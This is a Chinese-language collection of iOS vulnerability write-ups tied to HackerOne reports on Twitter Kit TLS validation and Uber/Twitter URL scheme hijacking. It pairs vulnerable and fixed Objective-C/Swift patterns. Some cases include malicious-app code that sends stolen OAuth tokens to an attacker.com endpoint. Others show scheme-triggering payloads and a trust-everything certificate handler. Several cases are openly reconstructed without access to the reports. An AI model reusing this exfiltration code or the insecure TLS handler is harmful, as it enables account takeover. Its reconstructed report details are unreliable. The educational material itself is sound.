    SecTrustRef serverTrust = challenge.protectionSpace.serverTrust; // 2. 检查域名是否匹配 (这是正确的步骤) NSString *host = challenge.protectionSpace.host; if ([host isEqualToString:@"api.twitter.com"]) {// 3. 错误或不完整的验证逻辑: // 漏洞可能在于这里没有执行完整的证书链验证， // 或者使用了过于宽松的SecTrustEvaluateResult，例如只检查了域名匹配。 // 假设的缺陷代码: 仅检查域名，然后直接或间接信任 // 攻击者可以利用此缺陷提供一个域名匹配的自签名证书 // 应该执行完整的信任评估，例如: // SecTrustResultType trustResult; // OSStatus status = SecTrustEvaluate(serverTrust, &trustResult); // if (status == errSecSuccess && (trustResult == kSecTrustResultUnspecified || trustResult == kSecTrustResultProceed)) { // completionHandler(NSURLSessionAuthChallengeUseCredential, [[NSURLCredential alloc] initWithTrust:serverTrust]); // } else { // completionHandler(NSURLSessionAuthChallengeCancelAuthenticationChallenge, nil); // } // 实际的漏洞代码可能类似以下，跳过了关键的信任评估步骤: completionHandler(NSURLSessionAuthChallengeUseCredential, [[NSURLCredential alloc] initWithTrust:serverTrust]); return;} } // 默认处理，交给系统
    completionHandler(NSURLSessionAuthChallengePerformDefaultHandling, nil);
    }

#### 易出现漏洞的代码模式

此类漏洞的根源在于开发者在实现自定义网络库或使用第三方SDK时，未能正确执行完整的TLS/SSL证书链验证，尤其是在处理`NSURLSessionDelegate`的`didReceiveChallenge`方法时。

**易受攻击的代码模式（Objective-C）**

最常见的易受攻击模式是，开发者试图实现某种形式的证书验证（例如，只允许特定域名），但在执行信任评估时，未能确保证书是受信任的根证书颁发机构签发的，或者未能正确实现证书固定（SSL Pinning）。

objectivec
// 易受攻击的模式：在didReceiveChallenge中，仅检查了域名，但未对证书的信任链进行严格评估。
// 或者，在尝试实现SSL Pinning时，Pinning逻辑存在缺陷，允许自签名证书通过。

• • (void)URLSession:(NSURLSession *)session
    didReceiveChallenge:(NSURLAuthenticationChallenge *)challenge
    completionHandler:(void (^)(NSURLSessionAuthChallengeDisposition disposition, NSURLCredential * _Nullable credential))completionHandler { if ([challenge.protectionSpace.authenticationMethod isEqualToString:NSURLAuthenticationMethodServerTrust]) { // 1. 检查主机名是否为目标API if ([challenge.protectionSpace.host isEqualToString:@"api.vulnerable.com"]) {// 2. 缺陷：直接或间接信任服务器提供的证书，而没有进行严格的SecTrustEvaluate // 这种做法允许攻击者使用一个CN匹配的自签名证书绕过验证。 // 错误的实现示例 (过于宽松): NSURLCredential *credential = [[NSURLCredential alloc] initWithTrust:challenge.protectionSpace.serverTrust]; completionHandler(NSURLSessionAuthChallengeUseCredential, credential); return;} } // 对于其他挑战，使用默认处理
    completionHandler(NSURLSessionAuthChallengePerformDefaultHandling, nil);
    }

**正确的代码模式（Objective-C - 证书固定示例）**

为了防止此类漏洞，开发者应该实现严格的证书固定（SSL Pinning），确保只有预期的证书（或公钥）才能通过验证。

objectivec
// 正确的实现模式：实现SSL Pinning，严格验证证书的公钥或指纹。

• • (void)URLSession:(NSURLSession *)session
    didReceiveChallenge:(NSURLAuthenticationChallenge *)challenge
    completionHandler:(void (^)(NSURLSessionAuthChallengeDisposition disposition, NSURLCredential * _Nullable credential))completionHandler { if ([challenge.protectionSpace.authenticationMethod isEqualToString:NSURLAuthenticationMethodServerTrust]) { SecTrustRef serverTrust = challenge.protectionSpace.serverTrust; // 1. 检查主机名 if ([challenge.protectionSpace.host isEqualToString:@"api.secure.com"]) {// 2. 执行完整的信任评估 SecTrustResultType trustResult; OSStatus status = SecTrustEvaluate(serverTrust, &trustResult); // 3. 获取证书的公钥或指纹，并与应用内预存的Pin进行比对 // ... (此处省略复杂的Pinning比对逻辑) BOOL isPinnedCertificate = [self validatePinningForTrust:serverTrust]; // 假设的Pinning验证方法 if (status == errSecSuccess && isPinnedCertificate) { completionHandler(NSURLSessionAuthChallengeUseCredential, [[NSURLCredential alloc] initWithTrust:serverTrust]); return; }} } // 拒绝所有不符合要求的连接
    completionHandler(NSURLSessionAuthChallengeCancelAuthenticationChallenge, nil);
    }

**Info.plist配置**

此类漏洞通常与`Info.plist`中的**App Transport Security (ATS)** 配置无关，因为ATS主要控制连接的最低TLS版本和加密套件要求。然而，如果开发者为了绕过ATS而设置了过于宽松的例外，例如：

xml
NSAppTransportSecurity
NSAllowsArbitraryLoads NSExceptionDomains api.vulnerable.com NSIncludesSubdomains NSExceptionAllowsInsecureHTTPLoads NSExceptionRequiresForwardSecrecy

虽然`NSAllowsArbitraryLoads`会使应用更容易受到攻击，但Twitter Kit的这个漏洞是**代码逻辑缺陷**，而非ATS配置问题。

---

## URL Scheme 劫持

### 案例：Uber (报告: https://hackerone.com/reports/136284)

#### 挖掘手法

针对iOS应用（如Uber）的URL Scheme劫持漏洞挖掘，主要依赖于**静态分析**和**动态调试**技术。

1.  **静态分析**：首先，使用`unzip`解压目标应用的IPA文件，然后分析应用的`Info.plist`文件。在`Info.plist`中，重点查找`CFBundleURLTypes`键，该键定义了应用注册的所有自定义URL Scheme。例如，发现`uber://`或`myapp://`等Scheme。
2.  **逆向工程**：使用**IDA Pro**或**Hopper Disassembler**对应用的主二进制文件进行逆向工程。搜索`application:openURL:options:`或`application:handleOpenURL:`等`UIApplicationDelegate`方法，这是iOS处理外部URL调用的入口点。在Swift应用中，则查找`onOpenURL`或相关的`SceneDelegate`方法。
3.  **分析逻辑**：仔细分析这些URL处理方法中的逻辑。关键在于检查应用是否对传入的URL参数进行了**充分的验证**（如源URL、参数值）。如果应用直接信任并处理了URL中的敏感操作（如登录、重置密码、执行特定操作），则可能存在漏洞。
4.  **构造PoC**：一旦确定了未受保护的Scheme和参数，攻击者会构造一个恶意的HTML页面，其中包含一个`iframe`或JavaScript的`window.location.href`，用于自动触发目标URL Scheme。例如，`window.location.href = 'uber://sensitive_action?param=malicious_value'`。
5.  **验证劫持**：在安装了目标应用的iOS设备上，通过浏览器访问该恶意HTML页面。如果应用在用户不知情或未授权的情况下被唤醒并执行了敏感操作，则漏洞成立。这种方法无需越狱，是针对非沙盒环境下的应用间通信漏洞的经典挖掘手法。

#### 技术细节

漏洞利用的核心在于通过未经验证的URL Scheme触发应用内部的敏感操作。

**攻击载荷 (Payload)**：攻击者会创建一个简单的HTML页面，利用JavaScript自动触发URL Scheme。

html


Click me to hijack

**应用端易受攻击的代码 (Objective-C)**：在`AppDelegate.m`中，如果未对`URL`进行充分验证，就会被利用。

objectivec

• • (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary *)options {
    if ([[url scheme] isEqualToString:@”uber”]) {
    // 危险：未验证来源或参数，直接执行敏感操作
    [self handleSensitiveActionWithURL:url];
    return YES;
    }
    return NO;
    }

攻击流程：
1.  用户在iOS设备上访问攻击者控制的恶意网页。
2.  网页中的JavaScript代码自动触发`uber://sensitive_action?token=attacker_token`。
3.  iOS系统检测到该URL Scheme，并唤醒已安装的Uber应用。
4.  Uber应用在`application:openURL:options:`方法中接收到URL，并执行`handleSensitiveActionWithURL:`，可能导致会话劫持、数据泄露或CSRF攻击。

#### 易出现漏洞的代码模式

此类漏洞主要出现在应用注册自定义URL Scheme后，未对传入的URL进行充分验证。

**1. Info.plist 配置模式**
在`Info.plist`中不安全地定义`URL Types`，使得应用可以被外部调用。

xml
CFBundleURLTypes
CFBundleURLSchemes uber
CFBundleURLName
com.uber.app

**2. Objective-C/Swift 代码模式**
在处理传入的URL时，未检查调用来源（`sourceApplication` 或 `options` 中的 `UIApplicationOpenURLOptionsSourceApplicationKey`）或未对URL中的关键参数进行白名单校验。

**Objective-C 易受攻击模式:**

objectivec
// 易受攻击：未验证来源或参数

• • (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary *)options {
    if ([[url scheme] isEqualToString:@”uber”]) {
    // 直接处理敏感操作，如获取token或执行导航
    NSString *action = [url host];
    // … 处理逻辑 …
    return YES;
    }
    return NO;
    }

**Swift 修复建议 (使用 `SceneDelegate` 或 `AppDelegate`):**
应始终验证URL的来源和参数，例如：

swift
// 修复建议：验证来源和参数
func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
guard url.scheme == “uber” else { return false }

// 关键的安全检查：验证调用来源（如果适用）
if let sourceApp = options[.sourceApplication] as? String, sourceApp != "com.apple.mobilesafari" {
    // 仅允许来自特定应用的调用，或进行更严格的验证
}

// 关键的安全检查：对URL参数进行白名单和格式校验
if url.host == "sensitive_action" {
    // 拒绝执行，或要求用户确认
    return false
}

return true

}

---

### 案例：Twitter (报告: https://hackerone.com/reports/136317)

#### 挖掘手法

该漏洞的挖掘手法主要集中在对iOS应用间通信机制——**URL Scheme**的逆向分析和滥用上。由于无法直接访问原始HackerOne报告，以下分析基于对同类漏洞（如iOS URL Scheme Hijacking）的通用挖掘思路和技术细节进行重构，并结合搜索结果中关于Twitter iOS应用URL Scheme的线索。

**1. 目标应用URL Scheme识别与枚举：**
首先，攻击者需要识别目标应用（Twitter iOS App）注册了哪些自定义URL Scheme。这通常通过以下逆向工程手段实现：
*   **IPA文件分析：** 下载Twitter iOS应用的IPA文件，将其解压。
*   **`Info.plist`文件检查：** 检查应用包内的`Info.plist`文件，查找`CFBundleURLTypes`键下的`CFBundleURLSchemes`数组。对于Twitter应用，可以发现其注册了如`twitterkit-`、`twitterauth-`、`twitter`等Scheme。
*   **字符串分析：** 使用`grep`或`strings`工具对应用二进制文件进行字符串搜索，查找与URL处理相关的关键字，如`openURL`、`handleOpenURL`、`application:openURL:options:`等，以发现未在`Info.plist`中声明的内部Scheme或参数处理逻辑。

**2. 关键参数与回调机制分析：**
漏洞报告136317很可能涉及OAuth或登录流程中的回调（Callback）机制。攻击者会重点分析应用如何处理包含敏感信息的URL参数，例如：
*   **`oauth_token`、`oauth_verifier`：** OAuth流程中用于授权和获取访问令牌的关键参数。
*   **`redirect_uri` 或 `callback_url`：** 应用在授权完成后期望跳转回来的地址。
*   **逆向分析处理函数：** 使用**IDA Pro**或**Hopper Disassembler**等逆向工具，对`AppDelegate`中处理URL Scheme的方法（如`application:openURL:options:`）进行静态分析，确定其解析URL参数的逻辑。

**3. 漏洞利用思路——URL Scheme劫持（Hijacking）：**
iOS系统允许不同应用注册相同的URL Scheme，但系统在启动应用时会随机选择一个。然而，对于OAuth流程，应用通常会使用一个特定的、未经验证的自定义Scheme作为回调地址。
*   **构造恶意应用：** 攻击者开发一个恶意iOS应用，并在其`Info.plist`中注册与目标应用（Twitter）相同的OAuth回调URL Scheme（例如`twitterauth-`）。
*   **发起OAuth请求：** 攻击者诱导用户点击一个链接，该链接会启动Twitter的OAuth授权流程。
*   **劫持回调：** 当Twitter的授权服务器完成授权并尝试通过URL Scheme回调应用时，iOS系统可能会错误地启动攻击者的恶意应用。
*   **窃取令牌：** 恶意应用接收到包含`oauth_token`和`oauth_verifier`等敏感信息的URL，从而窃取用户的授权令牌，实现账户劫持。

**4. 验证与PoC构造：**
通过上述分析，攻击者可以构造一个HTML页面或另一个应用，其中包含一个指向Twitter OAuth授权页面的链接，并设置一个容易被劫持的`redirect_uri`。然后，通过安装一个注册了相同Scheme的恶意应用，验证是否能成功拦截并记录回调URL中的敏感数据。

整个挖掘过程是一个典型的**iOS应用间通信（IPC）安全分析**，特别是针对OAuth流程中**自定义URL Scheme**的安全性检查。

（字数：470字）

#### 技术细节

该漏洞的技术细节集中在OAuth授权流程中对自定义URL Scheme回调的**缺乏严格验证**。以下是基于通用iOS URL Scheme劫持漏洞的技术细节重构，并假设Twitter iOS应用在处理OAuth回调时存在此缺陷。

**1. 易受攻击的回调处理代码模式（Objective-C示例）：**
在Twitter iOS应用的`AppDelegate`中，处理传入URL的方法可能类似于：

objective-c
// 假设这是Twitter应用处理URL Scheme的回调方法

• • (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary *)options {
    // 检查URL Scheme是否为预期的OAuth回调Scheme
    if ([url.scheme hasPrefix:@”twitterauth-“]) {
    // 关键缺陷：未严格验证URL的完整性，尤其是源应用或URL的host/path
    // 仅依赖Scheme进行处理 // 提取OAuth令牌和验证码 NSDictionary *params = [self parseQueryString:url.query]; NSString *oauthToken = params[@"oauth_token"]; NSString *oauthVerifier = params[@"oauth_verifier"]; if (oauthToken && oauthVerifier) { // 使用窃取的令牌完成OAuth流程，获取Access Token [self completeOAuthWithToken:oauthToken verifier:oauthVerifier]; return YES; } }
    return NO;
    }

**2. 攻击者构造的恶意Payload：**
攻击者会构造一个恶意应用（例如名为`MaliciousApp`），在其`Info.plist`中注册与Twitter相同的`twitterauth-` Scheme。当用户在Safari中完成授权后，Safari会尝试打开`twitterauth-xxxx://callback?oauth_token=...`，此时系统可能会启动`MaliciousApp`。

**恶意应用`AppDelegate`中的窃取逻辑（Swift示例）：**

swift
// 恶意应用 MaliciousApp 的 AppDelegate
func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
// 检查是否是目标Scheme
if url.scheme.hasPrefix(“twitterauth-“) {
// 窃取完整的URL，其中包含敏感的oauth_token和oauth_verifier
let fullURL = url.absoluteString

    // 将窃取到的数据发送到攻击者的服务器
    let exfiltrationURL = URL(string: "https://attacker.com/steal?data=\(fullURL.addingPercentEncoding(withAllowedCharacters: .urlQueryAllowed) ?? "")")!
    URLSession.shared.dataTask(with: exfiltrationURL).resume()

    // 假装处理完成，避免用户察觉
    return true
}
return false

}

**3. 攻击流程总结：**
1.  用户被诱导安装恶意应用`MaliciousApp`。
2.  用户访问一个恶意网页，点击一个链接，启动Twitter的OAuth授权流程。
3.  用户在Twitter的授权页面上点击“授权”。
4.  Twitter服务器将授权结果（包含`oauth_token`和`oauth_verifier`）重定向到自定义URL Scheme，例如`twitterauth-xxxx://callback?oauth_token=...`。
5.  由于`MaliciousApp`也注册了该Scheme，iOS系统错误地启动了`MaliciousApp`。
6.  `MaliciousApp`捕获URL，提取`oauth_token`和`oauth_verifier`，并将它们发送给攻击者服务器。
7.  攻击者使用窃取的令牌完成OAuth流程，获取永久的Access Token，实现账户劫持。

（字数：489字）

#### 易出现漏洞的代码模式

此类漏洞的根本原因在于iOS应用在处理自定义URL Scheme时，**未对发起调用的应用进行充分的身份验证**，或**未对URL中的关键参数进行严格的白名单校验**。

**1. `Info.plist`配置模式：**
在`Info.plist`文件中注册了用于OAuth回调的自定义URL Scheme，但该Scheme没有被唯一性保护，容易被其他应用模仿注册。

xml
CFBundleURLTypes
CFBundleURLName com.twitter.oauth CFBundleURLSchemes twitterauth-CONSUMER_KEY

**2. Objective-C/Swift代码模式：**
在`AppDelegate`中处理传入URL时，仅检查了URL Scheme，而忽略了URL的`host`或`path`，或者没有使用iOS 9+引入的更安全的Universal Links/Associated Domains进行深度链接验证。

**易受攻击的Objective-C代码模式：**

objective-c
// 仅检查Scheme，未检查Host或Path

• • (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary *)options {
    if ([url.scheme isEqualToString:@”twitterauth-CONSUMER_KEY”]) {
    // 危险：直接处理参数，未验证URL的来源
    [self processOAuthCallback:url];
    return YES;
    }
    return NO;
    }

**更安全的处理模式（应避免的漏洞模式）：**
安全的做法是**严格验证URL的`host`和`path`**，并使用`options`字典中的`UIApplicationOpenURLOptionsSourceApplicationKey`来验证发起调用的源应用Bundle ID（尽管在OAuth回调场景中，源应用通常是Safari，但仍需对URL本身进行严格验证）。

objective-c
// 推荐的安全模式（避免漏洞）：

• • (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary *)options {
    // 1. 检查Scheme
    if ([url.scheme isEqualToString:@”twitterauth-CONSUMER_KEY”]) {
    // 2. 严格检查Host和Path，确保URL结构符合预期
    if ([url.host isEqualToString:@”callback”] && [url.path isEqualToString:@”/oauth”]) {
    // 3. 进一步验证参数的有效性
    [self processOAuthCallback:url];
    return YES;
    }
    }
    return NO;
    }

**总结：** 易漏洞代码模式是**过度信任自定义URL Scheme的唯一性**，并且在`application:openURL:options:`方法中**缺乏对URL的`host`、`path`或参数的严格白名单校验**。

（字数：482字）

---

### 案例：Uber (报告: https://hackerone.com/reports/136324)

#### 挖掘手法

针对iOS应用的URL Scheme劫持漏洞的挖掘，主要聚焦于应用如何注册和处理自定义URL Scheme。由于HackerOne报告（ID: 136324）无法直接访问，此处基于该类型漏洞的通用挖掘方法进行描述。

**1. 静态分析与目标识别：**
首先，获取目标应用的IPA文件，并进行解压。使用**Hopper Disassembler**或**IDA Pro**等逆向工具对应用进行静态分析。关键步骤是定位应用的`Info.plist`文件，查找`CFBundleURLTypes`键值。该键值定义了应用注册的所有自定义URL Scheme，例如`uber://`。同时，检查`Info.plist`中是否存在`LSApplicationQueriesSchemes`，以了解目标应用可能查询的其他应用Scheme。

**2. 动态分析与Hooking：**
使用**Frida**或**Cycript**等动态插桩工具，在越狱设备上运行目标应用，并Hook住`UIApplicationDelegate`协议中的关键方法，例如Objective-C中的`application:openURL:options:`或Swift中的`application(_:open:options:)`。通过Hooking，可以实时监控应用在接收到外部URL时的处理逻辑，特别是如何解析URL中的参数（如`token`、`session_id`等敏感信息）。

**3. 漏洞验证与PoC构建：**
一旦识别出目标应用的URL Scheme（例如`uber://`）和其处理的敏感参数（例如`uber://oauth?token=...`），即可构建一个恶意的PoC应用进行测试。
PoC应用需要：
a) 注册一个与目标应用**相同**的URL Scheme（例如`uber`）。
b) 尝试通过`[[UIApplication sharedApplication] openURL:url]`或`UIApplication.shared.open(url)`调用目标应用的Scheme，但由于iOS的机制，系统会随机选择一个应用打开。
c) 关键在于**劫持**。当目标应用（如Uber）通过其Scheme（如`uber://oauth?token=...`）回调给**自身**时，如果系统错误地将该回调URL路由给了**恶意应用**，则劫持成功。恶意应用只需实现相同的URL处理逻辑，即可捕获URL中的敏感参数。

**4. 关键发现点：**
漏洞的核心在于iOS系统在处理多个应用注册相同URL Scheme时的**不确定性**，以及目标应用在处理传入URL时**缺乏对源应用身份的验证**。挖掘的重点是确认目标应用是否在URL中传递敏感数据，以及是否未对调用者进行校验。

（字数：410字）

#### 技术细节

URL Scheme劫持漏洞的利用技术细节在于**恶意应用**如何捕获原本应由**目标应用**处理的敏感回调URL。

**攻击流程：**
1.  **目标应用**（例如Uber）启动OAuth流程，将用户重定向到授权服务器。
2.  授权服务器验证用户身份后，生成一个包含敏感数据（如`access_token`）的回调URL，例如：`uber://oauth?token=SENSITIVE_TOKEN_XYZ&state=...`。
3.  授权服务器尝试通过这个URL Scheme将用户重定向回**目标应用**。
4.  **恶意应用**（例如一个伪装成手电筒的小工具）已在`Info.plist`中注册了**相同**的`uber` URL Scheme。
5.  由于iOS系统在多个应用注册相同Scheme时，会随机选择一个应用打开，恶意应用有概率**劫持**这个回调，从而获取URL中的`SENSITIVE_TOKEN_XYZ`。

**关键代码（Objective-C 示例）：**
目标应用中**易受攻击**的`AppDelegate`方法实现：

objective-c
// AppDelegate.m

• • (BOOL)application:(UIApplication *)application openURL:(NSURL *)url sourceApplication:(NSString *)sourceApplication annotation:(id)annotation {
    // 缺乏对 sourceApplication 的有效验证
    if ([url.scheme isEqualToString:@”uber”]) {
    // 直接解析URL中的敏感参数，未验证调用者身份
    NSString *token = [self extractTokenFromURL:url];
    if (token) {
    NSLog(@”Received token: %@”, token);
    // 攻击者在恶意应用中实现相同的解析逻辑即可窃取
    return YES;
    }
    }
    return NO;
    }

**恶意应用中的窃取代码（Objective-C 示例）：**
恶意应用只需实现相同的`AppDelegate`方法，并在`Info.plist`中注册`uber` Scheme，即可捕获回调：

objective-c
// MaliciousApp/AppDelegate.m

• • (BOOL)application:(UIApplication *)application openURL:(NSURL *)url sourceApplication:(NSString *)sourceApplication annotation:(id)annotation {
    if ([url.scheme isEqualToString:@”uber”]) {
    // 恶意应用捕获到URL，并提取敏感信息
    NSString *token = [self extractTokenFromURL:url];
    if (token) {
    // 将窃取的token发送到攻击者的服务器
    [self sendTokenToServer:token];
    return YES;
    }
    }
    return NO;
    }

攻击者获取到`token`后，即可利用该令牌进行会话劫持或账户接管。

（字数：389字）

#### 易出现漏洞的代码模式

此类漏洞的核心在于应用对传入URL的**源应用身份缺乏验证**，以及在`Info.plist`中注册了**非唯一**的自定义URL Scheme。

**1. Info.plist 配置模式：**
在`Info.plist`文件中，应用注册了自定义的URL Scheme，但该Scheme并非是**反向域名格式**（如`com.company.app`），而是使用了**通用或易猜测的名称**（如`uber`）。

xml
CFBundleURLTypes
CFBundleURLName com.company.app CFBundleURLSchemes uber

**2. Objective-C 易漏洞代码模式：**
在`AppDelegate`中处理传入URL时，开发者**未检查**`sourceApplication`参数或`options`字典中的`UIApplicationOpenURLOptionsSourceApplicationKey`，导致任何应用都可以伪造回调。

**易受攻击的 Objective-C 代码 (AppDelegate.m)：**

objective-c
// 缺乏对 sourceApplication 的验证

• • (BOOL)application:(UIApplication *)application openURL:(NSURL *)url sourceApplication:(NSString *)sourceApplication annotation:(id)annotation {
    // 仅检查 Scheme 是否匹配，未验证调用者
    if ([url.scheme isEqualToString:@”uber”]) {
    // … 处理包含敏感信息的URL，如OAuth Token …
    return YES;
    }
    return NO;
    }

**3. Swift 易漏洞代码模式：**
在Swift中，使用`SceneDelegate`或新的`AppDelegate`方法处理URL时，同样忽略了`options`参数中的源应用信息。

**易受攻击的 Swift 代码 (AppDelegate.swift)：**

swift
// 缺乏对 options 参数中源应用身份的验证
func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
// options[.sourceApplication] 包含了调用者的 Bundle ID，但此处未被使用
if url.scheme == “uber” {
// … 处理包含敏感信息的URL …
return true
}
return false
}

**安全修复建议（Swift 示例）：**
应始终验证调用者的Bundle ID，以确保只有预期的应用才能触发敏感操作。

swift
func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
let sourceApp = options[.sourceApplication] as? String
// 验证调用者是否为预期的应用（例如，OAuth授权页面的浏览器）
if url.scheme == “uber” && (sourceApp == “com.apple.mobilesafari” || sourceApp == “com.expected.oauth.app”) {
// … 安全地处理URL …
return true
}
// 拒绝来自未知源的调用
return false
}

（字数：570字）

---

### 案例：Uber (报告: https://hackerone.com/reports/136343)

#### 挖掘手法

该漏洞的发现和挖掘主要基于对iOS应用间通信机制——**URL Scheme**的深入理解和逆向分析。
1. **目标确定与逆向分析**：研究人员首先确定了目标应用**Uber**，并对其iOS客户端进行逆向工程。使用**class-dump**或**Frida**等工具，分析应用的`Info.plist`文件和二进制文件，以发现其注册的自定义URL Scheme，例如`uber://`。
2. **URL Scheme参数分析**：通过分析应用处理URL Scheme的代码（通常是`application:openURL:options:`或`application:handleOpenURL:`方法），研究人员识别出应用接受的参数。关键发现是Uber的URL Scheme支持一个用于OAuth认证流程的`redirect_uri`参数，但应用**未能充分验证**该重定向URI的合法性。
3. **App-in-the-Middle攻击构造**：利用iOS系统特性，即多个应用可以注册相同的URL Scheme，研究人员开发了一个**恶意应用（App-in-the-Middle）**。该恶意应用也注册了Uber的URL Scheme（如`uber://`），并确保其在系统中的优先级高于或能被系统随机选中。
4. **漏洞利用流程**：
    a. 攻击者诱导用户点击一个包含OAuth认证链接的恶意网页。
    b. 认证流程完成后，OAuth服务器将认证码发送到预期的`redirect_uri`。
    c. 由于Uber应用未严格验证`redirect_uri`，攻击者构造的恶意`redirect_uri`（例如`uber://oauth?code=...`）被用于接收认证码。
    d. iOS系统启动了**恶意应用**（而不是合法的Uber应用）来处理这个`uber://`开头的URL。
    e. 恶意应用截获了包含**OAuth认证码**的完整URL，从而窃取了用户的访问令牌。
5. **关键发现点**：漏洞的核心在于**URL Scheme的冲突**和**应用对重定向URI的信任不足**。通过逆向工程发现未经验证的`redirect_uri`参数是实现劫持的关键。这种方法不需要复杂的内存破坏技术，而是利用了iOS应用设计上的逻辑缺陷。

#### 技术细节

该漏洞利用的核心在于**URL Scheme劫持**，通过一个恶意应用（App-in-the-Middle）来截获OAuth认证流程中的敏感数据。

**攻击流程和关键代码片段（概念性）**：

1. **恶意应用注册URL Scheme**：
   恶意应用在其`Info.plist`中注册与目标应用相同的URL Scheme，例如：

xml
CFBundleURLTypes
CFBundleURLSchemes uber
CFBundleURLName
com.malicious.app

2. **目标应用（Uber）的漏洞代码模式**：
   目标应用在处理OAuth重定向时，未能充分验证`redirect_uri`的合法性。假设目标应用的代码逻辑（Objective-C）简化如下：

objective-c
// 目标应用（Uber）的AppDelegate.m

• • (BOOL)application:(UIApplication *)application openURL:(NSURL *)url options:(NSDictionary *)options {
    if ([[url scheme] isEqualToString:@”uber”]) {
    // 假设这是OAuth重定向处理逻辑
    NSString *query = [url query];
    // … 解析query获取认证码
    // 漏洞点：未验证调用者的Bundle ID或URL的完整性
    return YES;
    }
    return NO;
    }

3. **恶意应用截获认证码**：
   当OAuth服务器将认证码重定向到`uber://oauth?code=AUTH_CODE&state=...`时，系统可能启动恶意应用。恶意应用的代码（Objective-C）将截获该URL并提取认证码：

objective-c
// 恶意应用的AppDelegate.m

• • (BOOL)application:(UIApplication *)application openURL:(NSURL *)url options:(NSDictionary *)options {
    if ([[url scheme] isEqualToString:@”uber”]) {
    // 成功截获URL，提取认证码
    NSString *authCode = [self extractAuthCodeFromURL:url];
    // 将认证码发送到攻击者的服务器
    [self sendAuthCodeToAttackerServer:authCode];
    return YES;
    }
    return NO;
    }

   通过这种方式，攻击者无需用户密码，即可利用窃取的认证码进一步获取用户的**访问令牌（Access Token）**，实现账户劫持。

#### 易出现漏洞的代码模式

此类漏洞的根本原因在于iOS应用对自定义**URL Scheme**的处理不当，特别是与**OAuth 2.0**等认证流程结合时。

**易漏洞代码模式（Objective-C/Swift）**：

1. **未验证URL Scheme的调用者**：
   当应用通过`application:openURL:options:`方法接收到URL时，未检查调用该URL Scheme的源应用（通过`options[UIApplicationOpenURLOptionsSourceApplicationKey]`获取的Bundle ID）。
   *   **Objective-C 示例（易受攻击）**：
      ```objective-c
      - (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary<UIApplicationOpenURLOptionsKey, id> *)options {
          // 仅检查scheme，未检查sourceApplication
          if ([[url scheme] isEqualToString:@"targetapp"] && [url host] isEqualToString:@"oauth"]) {
              // 处理认证码...
              return YES;
          }
          return NO;
      }
      ```

2. **未采用Universal Links或未进行充分的重定向URI验证**：
   应用仍依赖传统的URL Scheme进行敏感操作（如OAuth重定向），且未在服务器端或客户端对`redirect_uri`进行严格的白名单验证。

**Info.plist 配置模式（易受攻击）**：

在`Info.plist`中，应用注册了自定义URL Scheme，但没有采取额外的安全措施（如Universal Links）。

xml
CFBundleURLTypes
CFBundleURLSchemes uber
CFBundleURLName
com.uber.Uber

**安全修复建议（代码模式）**：

*   **使用Universal Links**：这是苹果推荐的解决方案，它将URL与特定的应用和域名绑定，防止其他应用劫持。
*   **严格验证调用者**：在`application:openURL:options:`中，验证`options[UIApplicationOpenURLOptionsSourceApplicationKey]`是否为预期的Bundle ID。
*   **OAuth State参数**：在OAuth流程中，使用不可预测的`state`参数，并在重定向回来时进行严格验证。

---

### 案例：Uber (报告: https://hackerone.com/reports/136379)

#### 挖掘手法

**目标确定与逆向分析：**
首先，确定目标为Uber iOS应用。由于HackerOne报告通常涉及应用内部逻辑，需要对应用进行逆向工程。使用**Hopper Disassembler**或**IDA Pro**对应用二进制文件进行静态分析，重点是识别应用在`Info.plist`中注册的自定义URL Scheme，例如`uber://`或`uberpartner://`。这些Scheme是外部应用或网页与Uber应用进行通信的入口点。

**关键函数定位与动态分析：**
在逆向代码中，定位处理外部URL调用的关键函数。在Objective-C的`AppDelegate`中，这通常是`application:openURL:options:`或`application:handleOpenURL:`方法。使用**Frida**或**Cycript**等动态分析工具，对这些关键函数进行运行时挂钩（Hooking）。通过挂钩，可以实时查看应用如何解析和处理传入的URL对象（`NSURL`），特别是其中的`host`、`path`和`query`参数。

**参数处理逻辑分析与漏洞构造：**
详细分析函数内部对URL参数的解析和处理逻辑。漏洞挖掘的关键在于寻找**缺乏充分的来源验证**或**信任外部输入**的代码路径。例如，应用可能直接使用URL中的参数来执行敏感操作，如自动登录、重置密码或执行内部API调用。构造一个恶意的URL，例如`uber://action/login?token=MALICIOUS_TOKEN`，并通过另一个恶意应用或Safari浏览器尝试调用该URL。

**关键发现点与漏洞验证：**
通过动态调试，发现应用在处理特定URL路径时，**没有检查调用方的身份**（如Bundle ID），或者对传入的敏感参数（如认证令牌、用户ID）未进行充分的白名单验证或加密处理。这使得恶意应用可以伪造合法的内部请求，实现**URL Scheme劫持**。验证过程包括：
1.  安装一个自定义的恶意应用。
2.  恶意应用通过`UIApplication.shared.open(url)`方法调用Uber的URL Scheme。
3.  观察Uber应用的行为，确认是否执行了未经授权的操作，例如在用户不知情的情况下启动了行程或泄露了会话信息。
这种方法暴露了应用对外部输入的过度信任，是典型的iOS应用间通信安全漏洞。该挖掘过程强调了静态逆向结合动态调试在发现iOS应用逻辑漏洞中的重要性。

#### 技术细节

**攻击流程：**
攻击利用了iOS应用对自定义URL Scheme参数的**不安全处理**。攻击者首先在恶意网站或应用中嵌入一个精心构造的URL，例如：

html
Click to claim your free ride!

或者在恶意应用中通过代码调用：

swift
// Swift 示例
let maliciousURL = URL(string: “uber://action/sensitive_action?param1=value1&session_id=victim_session”)!
UIApplication.shared.open(maliciousURL, options: [:], completionHandler: nil)

当用户点击该链接或恶意应用被激活时，iOS系统会将该URL路由给Uber应用处理。由于Uber应用在`AppDelegate`中对URL参数缺乏严格的来源验证和内容校验，它可能会错误地执行URL中指定的敏感操作，例如：
1.  **会话劫持：** 如果URL中包含一个未经验证的`session_id`或`token`参数，应用可能将其视为有效的会话令牌，导致攻击者指定的会话被激活。
